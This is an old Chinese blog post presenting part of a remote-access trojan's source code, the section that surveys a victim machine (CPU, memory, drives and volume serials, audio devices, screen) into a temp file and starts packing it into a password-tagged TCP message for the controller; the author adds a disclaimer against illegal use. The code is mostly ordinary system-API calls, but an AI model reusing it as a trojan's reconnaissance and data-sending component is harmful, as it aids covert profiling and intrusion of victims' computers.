登录  
 加关注
查看详情
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

璀璨星空&旖旎花園gegei.com

★╰→流星劃過夜空,不僅是為了帶來祝福,同時也是為了追求幸福!

 
 
 

日志

 
 

木马病毒源码分析(目标机器获取)  

2007-05-02 21:04:00|  分类: 程序编程 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
木马程序开发技术文档:病毒源代码详解(3)
(部分)
6、目标机器情况的获取
  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。
  AnsiString cs;
  FILE *fp;
  fp=fopen("temp.had","w+");
  //TODO: Add your source code here
  //获得CPU型号
  SYSTEM_INFO systeminfo;
  GetSystemInfo (&systeminfo);
  cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  MEMORYSTATUS memory;
  memory.dwLength =sizeof(memory); //初始化
  GlobalMemoryStatus(&memory);
  cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  DWORD sector,byte,cluster,free;
  long int freespace,totalspace;
  UINT type;
  char name;
  //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、
  //5—CD-ROM、6—内存虚拟盘
  char volname[255],filename[100];//buffer[512];
  DWORD sno,maxl,fileflag ;
  for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z
  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型
  if(type==0){
  cs="未知类型磁盘:"+String(name)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  else if(type==2){
  cs="可移动类型磁盘:"+String(name)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  else if(type==3){
  cs="固定磁盘:"+String(name)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  else if(type==4) {
  cs="网络映射磁盘:"+String(name)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  else if (type==5){
  cs="光驱:"+String(name)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  else if (type==6){
  cs="内存虚拟磁盘:"+String(name)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)){
  cs=String(name)+"盘卷标为:"+String(volname)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  cs=String(name)+"盘序号为:"+String(sno)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数
  totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量
  freespace=int(free)*byte*sector/1024/1024; //计算可用空间
  cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  }
  int wavedevice,mididevice;
  WAVEOUTCAPS wavecap;
  MIDIOUTCAPS midicap;
  wavedevice=(int)waveOutGetNumDevs(); //波形设备信息
  mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息
  if (wavedevice!=0){
  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));
  cs="当前波形设备:"+String(wavecap.szPname)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  if (mididevice!=0){
  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));
  cs="当前MIDI设备:"+String(midicap.szPname)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  }
  long double tcs;
  long double tc;
  long int bpp,cp;
  cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);
  tcs=pow(2,bpp); //计算色彩的梯度数
  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);
  tc= pow(double(tcs),double(cp)); //计算色深
  AnsiString sss;
  sss=bpp;
  cs="当前色深为:"+sss+"\n";
  fwrite(cs.c_str(),cs.Length(),1,fp);
  fclose(fp);
  AnsiString FileName="temp.had";
  char *buf;
  TcpMsgUint Msg2;
  strcpy(Msg2.TPassword,Password);
  TMemoryStream *ms=new TMemoryStream;
  ms->Clear();
  if (!FileExists(FileName)) CheckHard();
  TFileStream *fs=new TFileStream(FileName,fmOpenRead);
    }
  上面一段程序,基本上把相关的系统信息都取到了。



———————————————————————————————————————
星星★★声明:
以上部分木马病毒程序源代码,是网际飞星改进一个SM木马所得,
其最终解析权归本人所有。
发表以上代码的最终目的是:
只是起到:抛砖头,引出玉石,抛石头,引出钻石的作用。
让大家能一起互相学习好计算机技术,
而没有别的意思。
希望能引起大家注意:不管在何时何地,不管何人何物,
都不能用以上代码于非法用途。
否则后果自负。
谢谢!
  
天才就像太阳和流星,注定要燃烧自己的生命,照亮其所处的时代和民族和其最爱的人!—网际飞星&拿破仑一世 
  评论这张
 
阅读(412)| 评论(0)

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018